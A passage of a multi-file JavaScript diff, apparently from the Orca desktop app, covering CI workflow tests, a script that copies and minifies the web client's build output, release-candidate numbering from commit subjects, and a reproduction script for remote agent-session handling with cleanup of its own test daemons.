expect(testStep.run).toContain('--shard=${{ matrix.shard }}/${{ strategy.job-total }}')
for (const testFile of nativeShellContractFiles) {
expect(testStep.run).toContain(`--exclude=${testFile}`)
}
})
it('runs real-zsh coverage once outside the general shards', () => {
const shellStep = workflow.jobs.shell_contracts.steps.find(
(step) => step.name === 'Test real shell contracts'
)
const shellInstall = workflow.jobs.shell_contracts.steps.find(
(step) => step.uses === './.github/actions/install-node-dependencies'
)
expect(workflow.jobs.test.steps.some((step) => step.name === 'Install zsh')).toBe(false)
expect(workflow.jobs.shell_contracts.steps.some((step) => step.name === 'Install zsh')).toBe(
true
)
expect(shellInstall.with['native-runtime']).toBe('node')
for (const testFile of nativeShellContractFiles) {
expect(shellStep.run).toContain(testFile)
}
})
it('keeps every real-zsh test in the dedicated shell lane', () => {
const discoveredFiles = globSync(testFilePatterns)
.filter((testFile) => realZshUsage.test(readFileSync(testFile, 'utf8')))
.sort()
expect(discoveredFiles).toEqual([...shellContractFiles].sort())
})
it('overlaps bundles with independent output directories', () => {
const buildStep = workflow.jobs.package.steps.find(
(step) => step.name === 'Build package inputs'
)
expect(buildStep.run).toContain('scripts=(build:relay build:electron-vite:parallel)')
expect(buildStep.run).toContain('pnpm run "$script" &')
expect(
workflow.jobs.package.steps.find(
(step) => step.name === 'Project web client from renderer build'
).run
).toBe('pnpm run build:web-from-renderer')
expect(packageJson.scripts['build:desktop']).toContain('pnpm run build:web-from-renderer')
expect(packageJson.scripts['build:release']).toContain('pnpm run build:web-from-renderer')
})
it('restores the pnpm store before dependency installation', () => {
const steps = dependencyAction.runs.steps
const pnpmIndex = steps.findIndex((step) => step.name === 'Setup pnpm')
const nodeIndex = steps.findIndex((step) => step.name === 'Setup Node.js')
expect(pnpmIndex).toBeLessThan(nodeIndex)
expect(steps[nodeIndex].with.cache).toBe('pnpm')
})
it('restores Electron downloads before preparing the package runtime', () => {
const steps = workflow.jobs.package.steps
const cacheIndex = steps.findIndex((step) => step.name === 'Cache electron-builder downloads')
const installIndex = steps.findIndex(
(step) => step.uses === './.github/actions/install-node-dependencies'
)
expect(cacheIndex).toBeGreaterThanOrEqual(0)
expect(installIndex).toBeGreaterThanOrEqual(0)
expect(cacheIndex).toBeLessThan(installIndex)
})
it('prepares each native runtime before its consumers start', () => {
const installFor = (jobName) =>
workflow.jobs[jobName].steps.find(
(step) => step.uses === './.github/actions/install-node-dependencies'
)
for (const jobName of ['static_analysis', 'typecheck', 'git_compatibility']) {
expect(installFor(jobName).with, jobName).toBeUndefined()
}
expect(installFor('shell_contracts').with['native-runtime']).toBe('node')
expect(installFor('test').with['native-runtime']).toBe('node')
expect(installFor('package').with['native-runtime']).toBe('electron')
expect(
dependencyAction.runs.steps.find((step) => step.name === 'Use external node-gyp').if
).toBe("inputs.native-runtime != 'none'")
const dependencyInstall = dependencyAction.runs.steps.find(
(step) => step.name === 'Install dependencies'
)
expect(dependencyInstall.run).toContain('--no-frozen-lockfile')
expect(dependencyInstall.run).toContain('--ignore-scripts')
expect(dependencyInstall.run).not.toContain('--os=')
expect(dependencyInstall.run).not.toContain('--cpu=')
expect(packageJson.pnpm.supportedArchitectures.os).toEqual(
expect.arrayContaining(['current', 'win32'])
)
expect(packageJson.pnpm.supportedArchitectures.cpu).toContain('current')
const prepareRuntime = dependencyAction.runs.steps.find(
(step) => step.name === 'Prepare native runtime'
)
expect(prepareRuntime.if).toBe("inputs.native-runtime != 'none'")
expect(prepareRuntime.run).toContain('ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"')
})
it('reuses native preparation after the dependency action gate', () => {
const buildStep = workflow.jobs.package.steps.find(
(step) => step.name === 'Build package inputs'
)
const packageStep = workflow.jobs.package.steps.find(
(step) => step.name === 'Package unpacked app'
)
expect(buildStep.run).not.toContain('ensure:electron-runtime')
expect(packageStep.env.ORCA_REUSE_PREPARED_NATIVE_RUNTIME).toBe('1')
})
it('keeps verify as the aggregate required check', () => {
expect(workflow.jobs.verify.needs).toEqual([
'static_analysis',
'typecheck',
'git_compatibility',
'shell_contracts',
'test',
'package'
])
})
})
@@ -0,0 +1,165 @@
import {
cpSync,
mkdirSync,
readFileSync,
readdirSync,
renameSync,
rmSync,
statSync,
writeFileSync
} from 'node:fs'
import { dirname, join, posix, resolve, sep } from 'node:path'
import { transform } from 'esbuild'
const rendererOutput = resolve('out/renderer')
const webOutput = resolve('out/web')
const stagingOutput = resolve(dirname(webOutput), `.web-projection-${process.pid}`)
const manifestPath = join(rendererOutput, '.vite', 'manifest.json')
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
const selectedFiles = new Set(['web-index.html'])
const visitedEntries = new Set()
function assertEntryIsolation() {
const entryKeys = new Set(
Object.entries(manifest)
.filter(([, entry]) => entry?.isEntry === true)
.map(([key]) => key)
)
for (const sourceEntry of entryKeys) {
const visited = new Set()
const pending = [sourceEntry]
while (pending.length > 0) {
const key = pending.pop()
if (visited.has(key)) {
continue
}
visited.add(key)
const entry = manifest[key]
if (!entry || typeof entry !== 'object') {
throw new Error(`Renderer manifest is missing entry: ${key}`)
}
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
if (entryKeys.has(dependency) && dependency !== sourceEntry) {
throw new Error(`Renderer entry ${sourceEntry} executes entry ${dependency}`)
}
pending.push(dependency)
}
}
}
}
function addOutputPath(outputPath) {
if (
typeof outputPath !== 'string' ||
outputPath.length === 0 ||
outputPath.startsWith('/') ||
/^[A-Za-z]:/.test(outputPath) ||
outputPath.includes('\\') ||
outputPath.split('/').includes('..')
) {
throw new Error(`Invalid renderer output path: ${String(outputPath)}`)
}
selectedFiles.add(outputPath)
}
function visitManifestEntry(key) {
if (visitedEntries.has(key)) {
return
}
visitedEntries.add(key)
const entry = manifest[key]
if (!entry || typeof entry !== 'object') {
throw new Error(`Renderer manifest is missing entry: ${key}`)
}
addOutputPath(entry.file)
for (const outputPath of [...(entry.css ?? []), ...(entry.assets ?? [])]) {
addOutputPath(outputPath)
}
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
visitManifestEntry(dependency)
}
}
function listOutputFiles(directory, prefix = '') {
return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
const outputPath = prefix ? join(prefix, entry.name) : entry.name
return entry.isDirectory()
? listOutputFiles(join(directory, entry.name), outputPath)
: [outputPath.split(sep).join('/')]
})
}
function includeReferencedOutputs() {
const candidates = listOutputFiles(rendererOutput).filter(
(outputPath) => !outputPath.startsWith('.vite/') && !outputPath.endsWith('.html')
)
let foundReference = true
while (foundReference) {
foundReference = false
for (const selectedFile of selectedFiles) {
if (!/\.(?:css|html|m?js|svg)$/.test(selectedFile)) {
continue
}
const contents = readFileSync(join(rendererOutput, selectedFile), 'utf8')
for (const candidate of candidates) {
if (selectedFiles.has(candidate)) {
continue
}
const localReference = posix.relative(posix.dirname(selectedFile), candidate)
if (contents.includes(candidate) || contents.includes(localReference)) {
selectedFiles.add(candidate)
foundReference = true
}
}
}
}
}
async function minifyWebOutput() {
await Promise.all(
[...selectedFiles]
.filter((outputPath) => /\.(?:css|m?js)$/.test(outputPath))
.map(async (outputPath) => {
const targetPath = join(stagingOutput, outputPath)
const loader = outputPath.endsWith('.css') ? 'css' : 'js'
const result = await transform(readFileSync(targetPath, 'utf8'), {
legalComments: 'none',
loader,
minify: true,
target: 'es2020'
})
writeFileSync(targetPath, result.code)
})
)
}
assertEntryIsolation()
visitManifestEntry('web-index.html')
includeReferencedOutputs()
rmSync(stagingOutput, { force: true, recursive: true })
try {
for (const outputPath of selectedFiles) {
const targetPath = join(stagingOutput, outputPath)
mkdirSync(dirname(targetPath), { recursive: true })
cpSync(join(rendererOutput, outputPath), targetPath)
}
await minifyWebOutput()
rmSync(webOutput, { force: true, recursive: true })
renameSync(stagingOutput, webOutput)
} finally {
rmSync(stagingOutput, { force: true, recursive: true })
}
const outputBytes = [...selectedFiles].reduce(
(total, outputPath) => total + statSync(join(webOutput, outputPath)).size,
0
)
console.log(
`Projected web client: ${selectedFiles.size} files, ${(outputBytes / 1024 / 1024).toFixed(1)} MiB`
)
@@ -0,0 +1,117 @@
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { dirname, join, resolve } from 'node:path'
import { spawnSync } from 'node:child_process'
import { afterEach, describe, expect, it } from 'vitest'
const scriptPath = resolve('config/scripts/project-renderer-web-client.mjs')
const temporaryRoots = []
function writeFixtureFile(root, relativePath, contents) {
const targetPath = join(root, relativePath)
mkdirSync(dirname(targetPath), { recursive: true })
writeFileSync(targetPath, contents)
}
function createRendererFixture() {
const root = mkdtempSync(join(tmpdir(), 'orca-web-projection-'))
temporaryRoots.push(root)
const manifest = {
'web-index.html': {
file: 'assets/web-entry.js',
isEntry: true,
imports: ['_web-shared.js'],
dynamicImports: ['src/lazy.ts']
},
'_web-shared.js': {
file: 'assets/web-shared.js',
css: ['assets/web.css'],
assets: ['assets/logo.png']
},
'src/lazy.ts': { file: 'assets/lazy.js' },
'index.html': { file: 'assets/desktop-entry.js', isEntry: true }
}
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', JSON.stringify(manifest))
writeFixtureFile(
root,
'out/renderer/web-index.html',
'<script type="module" src="./assets/web-entry.js"></script>'
)
writeFixtureFile(
root,
'out/renderer/assets/web-entry.js',
'import "./web-shared.js"; new Worker(new URL("editor.worker-fixture.js", import.meta.url));'
)
writeFixtureFile(root, 'out/renderer/assets/web-shared.js', 'export const value = 1;')
writeFixtureFile(root, 'out/renderer/assets/lazy.js', 'export const lazyValue = true;')
writeFixtureFile(root, 'out/renderer/assets/web.css', '.root { color: red; }')
writeFixtureFile(root, 'out/renderer/assets/logo.png', 'fixture-logo')
writeFixtureFile(
root,
'out/renderer/assets/editor.worker-fixture.js',
'self.onmessage = function (event) { self.postMessage(event.data) }'
)
writeFixtureFile(root, 'out/renderer/assets/desktop-entry.js', 'export const desktop = true;')
writeFixtureFile(root, 'out/web/stale.js', 'stale')
return root
}
afterEach(() => {
for (const root of temporaryRoots.splice(0)) {
rmSync(root, { force: true, recursive: true })
}
})
describe('renderer web client projection', () => {
it('keeps the build-only manifest out of packaged apps', () => {
const builderConfig = readFileSync(resolve('config/electron-builder.config.cjs'), 'utf8')
expect(builderConfig).toContain("'!out/renderer/.vite{,/**/*}'")
})
it('copies and minifies only the web dependency closure', () => {
const root = createRendererFixture()
const result = spawnSync(process.execPath, [scriptPath], {
cwd: root,
encoding: 'utf8'
})
expect(result.status, result.stderr).toBe(0)
expect(result.stdout).toContain('Projected web client: 7 files')
expect(existsSync(join(root, 'out/web/web-index.html'))).toBe(true)
expect(existsSync(join(root, 'out/web/assets/editor.worker-fixture.js'))).toBe(true)
expect(existsSync(join(root, 'out/web/assets/logo.png'))).toBe(true)
expect(existsSync(join(root, 'out/web/assets/desktop-entry.js'))).toBe(false)
expect(existsSync(join(root, 'out/web/stale.js'))).toBe(false)
expect(readFileSync(join(root, 'out/web/assets/web.css'), 'utf8')).toBe('.root{color:red}\n')
})
it('fails when the renderer manifest omits the web entry', () => {
const root = createRendererFixture()
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', '{}')
const result = spawnSync(process.execPath, [scriptPath], {
cwd: root,
encoding: 'utf8'
})
expect(result.status).toBe(1)
expect(result.stderr).toContain('Renderer manifest is missing entry: web-index.html')
})
it('rejects renderer entries that execute another entry root', () => {
const root = createRendererFixture()
const manifestPath = join(root, 'out/renderer/.vite/manifest.json')
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
manifest['web-index.html'].dynamicImports.push('index.html')
writeFileSync(manifestPath, JSON.stringify(manifest))
const result = spawnSync(process.execPath, [scriptPath], {
cwd: root,
encoding: 'utf8'
})
expect(result.status).toBe(1)
expect(result.stderr).toContain('Renderer entry web-index.html executes entry index.html')
})
})
+6 -1
View File
@@ -38,7 +38,12 @@ export function rcNumberFromReleaseSubject(base, subject) {
return null
}
const match = /^(\d+)(?:\s|$)/.exec(subject.slice(prefix.length))
// Why the same optional .identifier as the tag form: the commit subject is
// the only record left once a tag is deleted, and that is exactly when the
// explicit-version gate leans on this. Without it, deleting a
// v1.2.3-rc.4.perf tag drops the series back to rc.3 and an explicit
// 1.2.3-rc.4 is waved through — below what perf-channel clients already run.
const match = /^(\d+)(?:\.[0-9A-Za-z]+)?(?:\s|$)/.exec(subject.slice(prefix.length))
return match ? Number(match[1]) : null
}
@@ -53,6 +53,29 @@ describe('release RC history', () => {
expect(rcNumberFromReleaseSubject('1.4.36', 'fix: v1.4.36-rc.6')).toBeNull()
})
it('counts a suffixed side-branch RC from its subject as well as its tag', () => {
expect(rcNumberFromTag('1.4.36', 'v1.4.36-rc.6.perf')).toBe(6)
expect(rcNumberFromReleaseSubject('1.4.36', 'release: v1.4.36-rc.6.perf')).toBe(6)
expect(
rcNumberFromReleaseSubject('1.4.36', 'release: v1.4.36-rc.6.perf [rc-slot:2026-05-30-03]')
).toBe(6)
})
it('keeps a suffixed RC counted once its tag is deleted', () => {
withGitRepo((repo) => {
commit(repo, 'initial')
commit(repo, 'release: v1.4.36-rc.5')
git(repo, ['tag', 'v1.4.36-rc.5'])
// Why this case: the subject is the only record left after the tag goes,
// and that is precisely when release-cut's explicit-version gate reads
// this. Under-reporting rc.6 here lets an explicit 1.4.36-rc.6 cut land
// below the v1.4.36-rc.6.perf build that clients already run.
commit(repo, 'release: v1.4.36-rc.6.perf')
expect(highestRcForBase('1.4.36', { cwd: repo })).toBe(6)
})
})
it('keeps RC numbers monotonic after a stale tag is deleted', () => {
withGitRepo((repo) => {
commit(repo, 'initial')
@@ -10,14 +10,23 @@ import {
rmSync,
writeFileSync
} from 'node:fs'
import { createRequire } from 'node:module'
import net from 'node:net'
import os from 'node:os'
import path from 'node:path'
import { createInterface } from 'node:readline'
import { cleanupIsolatedDaemons, isProcessAlive } from './remote-agent-session-process-cleanup.mjs'
const repoRoot = path.resolve(import.meta.dirname, '..', '..')
const { parsePaneKey } = createRequire(import.meta.url)(
path.join(repoRoot, 'out', 'shared', 'stable-pane-id.js')
)
const clientScript = path.join(import.meta.dirname, 'remote-agent-session-repro-client.mjs')
const fixtureScript = path.join(import.meta.dirname, 'remote-agent-session-repro-fixture.mjs')
const writableShellScript = path.join(
import.meta.dirname,
'remote-agent-session-repro-writable-shell.mjs'
)
// Why: macOS limits Unix-domain socket paths to 104 bytes; the server profile
// creates nested daemon/runtime sockets below this disposable directory.
const scratch = mkdtempSync(path.join(os.tmpdir(), 'oa-'))
@@ -25,9 +34,13 @@ const profilePath = path.join(scratch, 'profile')
const projectPath = path.join(scratch, 'repo')
const binPath = path.join(scratch, 'bin')
const spawnMarkerPath = path.join(scratch, 'agent-spawns.txt')
const inputMarkerPath = path.join(scratch, 'agent-input.txt')
const exitTriggerPath = path.join(scratch, 'exit-agent')
const agentSessionToken = '--orca-repro-agent-session'
const childProcesses = new Set()
let server = null
let activePairingCode = null
let activeWorktree = null
try {
mkdirSync(profilePath, { recursive: true })
@@ -61,6 +74,7 @@ try {
const port = await reservePort()
const firstReady = await startServer(port)
const pairingCode = firstReady.pairing.url
activePairingCode = pairingCode
const addedRepo = await callClient(pairingCode, 'repo.add', { path: projectPath })
assertOk(addedRepo, 'fixture repo registration')
@@ -77,12 +91,58 @@ try {
)
}
const worktree = `id:${fixtureWorktree.id}`
activeWorktree = worktree
const freshRequest = {
clientOperationId: `${Date.now()}-0123456789abcdef0123456789abcdef`,
worktree,
agent: 'codex',
presentation: 'focused'
}
const droppedFresh = await callClient(
pairingCode,
'terminal.createAgentSession',
freshRequest,
'drop-response'
)
if (!droppedFresh.droppedResponse) {
throw new Error(`fresh response was not dropped: ${JSON.stringify(droppedFresh)}`)
}
let committedFreshTerminal = null
await waitFor(async () => {
const terminals = await callClient(pairingCode, 'terminal.list', { worktree })
if (!terminals.ok || terminals.result.terminals.length !== 1 || countSpawnMarkers() !== 1) {
return false
}
committedFreshTerminal = terminals.result.terminals[0]
return true
}, 'fresh host commit after response loss')
const fresh = await callClient(pairingCode, 'terminal.createAgentSession', freshRequest)
assertOk(fresh, 'focused fresh retry after response loss')
if (fresh.result.disposition !== 'replayed') {
throw new Error(`fresh retry was ${fresh.result.disposition}, expected replayed`)
}
assertTerminalInventoryIdentity(committedFreshTerminal, fresh.result.terminal)
if (fresh.result.terminal.surface !== 'background') {
throw new Error(`execution host returned ${fresh.result.terminal.surface}, expected background`)
}
if (countSpawnMarkers() !== 1) {
throw new Error('fresh retry after response loss started a second agent')
}
await sendMarker(pairingCode, fresh.result.terminal.handle, 'fresh-agent-writable')
const shell = await callClient(pairingCode, 'terminal.create', {
worktree,
command: fixtureCommand(writableShellScript, inputMarkerPath),
presentation: 'background'
})
assertOk(shell, 'unrelated writable shell creation')
await sendMarker(pairingCode, shell.result.terminal.handle, 'shell-writable')
const resumeRequest = {
kind: 'explicit',
worktree,
agent: 'codex',
providerSession: { key: 'session_id', id: 'remote-authority-repro' },
presentation: 'background'
presentation: 'focused'
}
const [first, second] = await Promise.all([
@@ -94,7 +154,9 @@ try {
const dispositions = [first.result.disposition, second.result.disposition].sort()
assertJsonEqual(dispositions, ['adopted', 'created'], 'race dispositions')
assertSameTerminal(first.result.terminal, second.result.terminal)
await waitFor(() => countSpawnMarkers() === 1, 'exactly one fixture agent spawn')
assertBackgroundSurface(first.result.terminal, 'first racing resume')
assertBackgroundSurface(second.result.terminal, 'second racing resume')
await waitFor(() => countSpawnMarkers() === 2, 'exactly one fresh and one resumed spawn')
const retry = await callClient(pairingCode, 'terminal.ensureAgentSession', resumeRequest)
assertOk(retry, 'resume retry')
@@ -102,9 +164,14 @@ try {
throw new Error(`resume retry was ${retry.result.disposition}, expected adopted`)
}
assertSameTerminal(first.result.terminal, retry.result.terminal)
if (countSpawnMarkers() !== 1) {
throw new Error('resume retry started a second agent')
assertBackgroundSurface(retry.result.terminal, 'resume retry')
const spawnCountAfterRetry = countSpawnMarkers()
if (spawnCountAfterRetry !== 2) {
throw new Error(
`resume retry changed spawn count to ${spawnCountAfterRetry}: ${readFileSync(spawnMarkerPath, 'utf8')}`
)
}
await sendMarker(pairingCode, retry.result.terminal.handle, 'resume-agent-writable')
const closed = await callClient(pairingCode, 'terminal.close', {
terminal: first.result.terminal.handle
@@ -115,22 +182,44 @@ try {
callClient(pairingCode, 'terminal.list', { worktree }),
callClient(pairingCode, 'session.tabs.list', { worktree })
])
const expectedParentTabIds = [fresh.result.terminal.tabId, shell.result.terminal.tabId].sort()
const actualParentTabIds = tabs.ok
? tabs.result.tabs
.filter((tab) => tab.type === 'terminal')
.map((tab) => tab.parentTabId)
.sort()
: []
return (
terminals.ok &&
tabs.ok &&
terminals.result.terminals.length === 0 &&
tabs.result.tabs.length === 0
terminals.result.terminals.length === 2 &&
terminals.result.terminals.some(
(terminal) => terminal.handle === fresh.result.terminal.handle
) &&
terminals.result.terminals.some(
(terminal) => terminal.handle === shell.result.terminal.handle
) &&
JSON.stringify(actualParentTabIds) === JSON.stringify(expectedParentTabIds) &&
!actualParentTabIds.includes(first.result.terminal.tabId)
)
}, 'exited surface retirement')
}, 'resume retirement without unrelated terminal loss')
const oldTerminal = first.result.terminal
if (oldTerminal.tabId && oldTerminal.paneKey) {
const leafId = oldTerminal.paneKey.slice(oldTerminal.paneKey.indexOf(':') + 1)
await callClient(pairingCode, 'session.tabs.updatePaneLayout', {
worktree,
tabId: oldTerminal.tabId,
root: { type: 'leaf', id: leafId, ptyId: oldTerminal.ptyId ?? undefined }
}).catch(() => null)
if (!oldTerminal.tabId || !oldTerminal.paneKey || !oldTerminal.ptyId) {
throw new Error(`retired terminal identity is incomplete: ${JSON.stringify(oldTerminal)}`)
}
const parsedPaneKey = parsePaneKey(oldTerminal.paneKey)
if (!parsedPaneKey || parsedPaneKey.tabId !== oldTerminal.tabId) {
throw new Error(`retired terminal pane identity is invalid: ${JSON.stringify(oldTerminal)}`)
}
const leafId = parsedPaneKey.leafId
const staleWrite = await callClient(pairingCode, 'session.tabs.updatePaneLayout', {
worktree,
tabId: oldTerminal.tabId,
root: { type: 'leaf', id: leafId, ptyId: oldTerminal.ptyId }
})
if (staleWrite.ok || staleWrite.error?.code !== 'invalid_argument') {
throw new Error(`stale pane publication was not rejected: ${JSON.stringify(staleWrite)}`)
}
const [afterStaleTerminals, afterStaleTabs] = await Promise.all([
@@ -139,12 +228,53 @@ try {
])
assertOk(afterStaleTerminals, 'terminal list after stale publication')
assertOk(afterStaleTabs, 'tab list after stale publication')
assertJsonEqual(afterStaleTerminals.result.terminals, [], 'terminal stale-write resurrection')
assertJsonEqual(afterStaleTabs.result.tabs, [], 'tab stale-write resurrection')
assertJsonEqual(
afterStaleTerminals.result.terminals.map((terminal) => terminal.handle).sort(),
[fresh.result.terminal.handle, shell.result.terminal.handle].sort(),
'terminal stale-write resurrection'
)
assertJsonEqual(
afterStaleTabs.result.tabs
.filter((tab) => tab.type === 'terminal')
.map((tab) => tab.parentTabId)
.sort(),
[fresh.result.terminal.tabId, shell.result.terminal.tabId].sort(),
'tab stale-write resurrection'
)
if (
afterStaleTabs.result.tabs.some(
(tab) => tab.type === 'terminal' && tab.parentTabId === oldTerminal.tabId
)
) {
throw new Error('stale publication restored the retired resume tab')
}
const freshClosed = await callClient(pairingCode, 'terminal.close', {
terminal: fresh.result.terminal.handle
})
assertOk(freshClosed, 'unrelated fresh terminal close')
const remainingClosed = await callClient(pairingCode, 'terminal.stop', { worktree })
assertOk(remainingClosed, 'isolated fixture terminal cleanup')
await waitFor(async () => {
const terminals = await callClient(pairingCode, 'terminal.list', { worktree })
return terminals.ok && terminals.result.terminals.length === 0
}, 'fresh terminal retirement')
await waitFor(
() =>
readAgentSpawnPids().length === 2 &&
readAgentSpawnPids().every((pid) => !isProcessAlive(pid)),
'fixture agent process exit'
)
if (countSpawnMarkers() !== 2) {
throw new Error(
`cleanup observed a delayed extra spawn: ${readFileSync(spawnMarkerPath, 'utf8')}`
)
}
await stopServer()
const restarted = await startServer(port)
const restartPairingCode = restarted.pairing.url
activePairingCode = restartPairingCode
const [afterRestartTerminals, afterRestartTabs] = await Promise.all([
callClient(restartPairingCode, 'terminal.list', { worktree }),
callClient(restartPairingCode, 'session.tabs.list', { worktree })
@@ -153,15 +283,29 @@ try {
assertOk(afterRestartTabs, 'tab list after restart')
assertJsonEqual(afterRestartTerminals.result.terminals, [], 'terminal resurrection after restart')
assertJsonEqual(afterRestartTabs.result.tabs, [], 'tab resurrection after restart')
const aliveAfterRestart = readAgentSpawnPids().filter(isProcessAlive)
const spawnCountAfterRestart = countSpawnMarkers()
if (aliveAfterRestart.length > 0 || spawnCountAfterRestart !== 2) {
throw new Error(
`restart restored or respawned a retired fixture agent: alive=${JSON.stringify(aliveAfterRestart)}, spawns=${JSON.stringify(readFileSync(spawnMarkerPath, 'utf8').trim().split(/\r?\n/))}`
)
}
process.stdout.write(
'PASS remote agent-session authority: one spawn, retry adoption, durable exit retirement, no restart resurrection\n'
'PASS remote agent-session authority: fresh/resume focus isolation, response-loss replay, writable PTYs, one spawn per operation, retry adoption, unrelated survival, stale rejection, durable retirement\n'
)
} finally {
if (activePairingCode && activeWorktree) {
await callClient(activePairingCode, 'terminal.stop', { worktree: activeWorktree }).catch(
() => null
)
}
writeFileSync(exitTriggerPath, '')
await stopServer().catch(() => {})
for (const child of childProcesses) {
child.kill()
}
await cleanupIsolatedDaemons(profilePath)
rmSync(scratch, { recursive: true, force: true })
}
@@ -183,14 +327,23 @@ function installFixtureAgent(targetDir) {
function quoteFixtureAgentCommand(commandPath) {
return process.platform === 'win32'
? `"${commandPath.replaceAll('"', '""')}"`
: shellQuote(commandPath)
? `"${commandPath.replaceAll('"', '""')}" ${agentSessionToken}`
: `${shellQuote(commandPath)} ${agentSessionToken}`
}
function shellQuote(value) {
return `'${value.replaceAll("'", `'\\''`)}'`
}
function fixtureCommand(scriptPath, markerPath) {
if (process.platform === 'win32') {
return [process.execPath, scriptPath, markerPath]
.map((value) => `"${value.replaceAll('"', '""')}"`)
.join(' ')
}
return [process.execPath, scriptPath, markerPath].map(shellQuote).join(' ')
}
async function reservePort() {
return await new Promise((resolve, reject) => {
const listener = net.createServer()
@@ -214,6 +367,8 @@ async function startServer(port) {
ORCA_USER_DATA_PATH: profilePath,
ORCA_REPRO_SPAWN_MARKER: spawnMarkerPath,
ORCA_REPRO_EXIT_TRIGGER: exitTriggerPath,
ORCA_REPRO_INPUT_MARKER: inputMarkerPath,
ORCA_REPRO_AGENT_SESSION_TOKEN: agentSessionToken,
...(process.platform === 'linux' ? { ELECTRON_DISABLE_SANDBOX: '1' } : {})
}
server = spawn(
@@ -281,13 +436,17 @@ async function stopServer() {
})
}
async function callClient(pairingCode, method, params) {
async function callClient(pairingCode, method, params, responseMode) {
return await new Promise((resolve, reject) => {
const child = spawn(
process.execPath,
[clientScript, pairingCode, method, JSON.stringify(params)],
{ cwd: repoRoot, stdio: ['ignore', 'pipe', 'pipe'], windowsHide: true }
)
const args = [clientScript, pairingCode, method, JSON.stringify(params)]
if (responseMode) {
args.push(responseMode)
}
const child = spawn(process.execPath, args, {
cwd: repoRoot,
stdio: ['ignore', 'pipe', 'pipe'],
windowsHide: true
})
childProcesses.add(child)
let stdout = ''
let stderr = ''
@@ -325,6 +484,38 @@ function countSpawnMarkers() {
return readFileSync(spawnMarkerPath, 'utf8').split(/\r?\n/).filter(Boolean).length
}
function readAgentSpawnPids() {
if (!existsSync(spawnMarkerPath)) {
return []
}
return readFileSync(spawnMarkerPath, 'utf8')
.split(/\r?\n/)
.filter(Boolean)
.map((line) => Number(line.split(':', 1)[0]))
.filter((pid) => Number.isInteger(pid) && pid > 0)
}
function assertBackgroundSurface(terminal, description) {
if (terminal.surface !== 'background') {
throw new Error(`${description} returned ${terminal.surface}, expected background`)
}
}
async function sendMarker(pairingCode, terminal, marker) {
const response = await callClient(pairingCode, 'terminal.send', {
terminal,
text: `${marker}\n`
})
assertOk(response, `${marker} terminal send`)
if (!response.result.send.accepted) {
throw new Error(`${marker} terminal send was refused`)
}
await waitFor(
() => existsSync(inputMarkerPath) && readFileSync(inputMarkerPath, 'utf8').includes(marker),
`${marker} input delivery`
)
}
async function waitFor(predicate, description) {
const deadline = Date.now() + 15_000
let lastError = null
@@ -355,6 +546,14 @@ function assertSameTerminal(left, right) {
)
}
function assertTerminalInventoryIdentity(left, right) {
assertJsonEqual(
[left.handle, left.tabId, left.ptyId],
[right.handle, right.tabId, right.ptyId],
'committed terminal inventory identity'
)
}
function assertJsonEqual(actual, expected, description) {
if (JSON.stringify(actual) !== JSON.stringify(expected)) {
throw new Error(
@@ -0,0 +1,121 @@
import { execFileSync } from 'node:child_process'
import { existsSync, readFileSync, readdirSync } from 'node:fs'
import path from 'node:path'
export function isProcessAlive(pid) {
try {
process.kill(pid, 0)
return true
} catch (error) {
return error?.code !== 'ESRCH'
}
}
function readDaemonPids(userDataPath) {
const daemonDir = path.join(userDataPath, 'daemon')
if (!existsSync(daemonDir)) {
return []
}
const pids = []
for (const entry of readdirSync(daemonDir)) {
if (!entry.endsWith('.pid')) {
continue
}
try {
const raw = readFileSync(path.join(daemonDir, entry), 'utf8').trim()
try {
const parsed = JSON.parse(raw)
if (Number.isInteger(parsed?.pid)) {
pids.push(parsed.pid)
}
} catch {
const pid = Number(raw)
if (Number.isInteger(pid)) {
pids.push(pid)
}
}
} catch {
// Another isolated process may retire its PID record during cleanup.
}
}
return pids
}
function readPosixDescendants(rootPid) {
try {
const output = execFileSync('ps', ['-eo', 'pid=,ppid='], { encoding: 'utf8' })
const childrenByParent = new Map()
for (const line of output.split('\n')) {
const [pidText, parentText] = line.trim().split(/\s+/)
const pid = Number(pidText)
const parent = Number(parentText)
if (!Number.isInteger(pid) || !Number.isInteger(parent)) {
continue
}
childrenByParent.set(parent, [...(childrenByParent.get(parent) ?? []), pid])
}
const descendants = []
const pending = [...(childrenByParent.get(rootPid) ?? [])]
while (pending.length > 0) {
const pid = pending.pop()
if (!pid) {
continue
}
descendants.push(pid)
pending.push(...(childrenByParent.get(pid) ?? []))
}
return descendants
} catch {
return []
}
}
export async function cleanupIsolatedDaemons(userDataPath) {
const trackedPids = new Set()
for (const pid of readDaemonPids(userDataPath)) {
if (process.platform === 'win32') {
trackedPids.add(pid)
try {
execFileSync('taskkill', ['/pid', String(pid), '/T', '/F'], { stdio: 'ignore' })
} catch {
// The isolated daemon may already have exited.
}
continue
}
const pids = [...readPosixDescendants(pid), pid].toReversed()
pids.forEach((targetPid) => trackedPids.add(targetPid))
for (const targetPid of pids) {
try {
process.kill(targetPid, 'SIGTERM')
} catch {
// The isolated process may already have exited.
}
}
}
let survivors = await waitForProcessExit([...trackedPids], 1_000)
for (const targetPid of survivors) {
if (process.platform === 'win32') {
continue
}
try {
process.kill(targetPid, 'SIGKILL')
} catch {
// The isolated process may already have exited.
}
}
survivors = await waitForProcessExit(survivors, 5_000)
if (survivors.length > 0) {
throw new Error(`isolated daemon cleanup left live processes: ${survivors.join(', ')}`)
}
}
async function waitForProcessExit(pids, timeoutMs) {
const deadline = Date.now() + timeoutMs
let survivors = pids.filter(isProcessAlive)
while (survivors.length > 0 && Date.now() < deadline) {
await new Promise((resolve) => setTimeout(resolve, 50))
survivors = survivors.filter(isProcessAlive)
}
return survivors
}
@@ -10,20 +10,37 @@ const { RemoteRuntimeRequestConnection } = require(
path.join(repoRoot, 'out', 'shared', 'remote-runtime-request-connection.js')
)
const [pairingCode, method, rawParams] = process.argv.slice(2)
const [pairingCode, method, rawParams, responseMode] = process.argv.slice(2)
const pairing = pairingCode ? parsePairingCode(pairingCode) : null
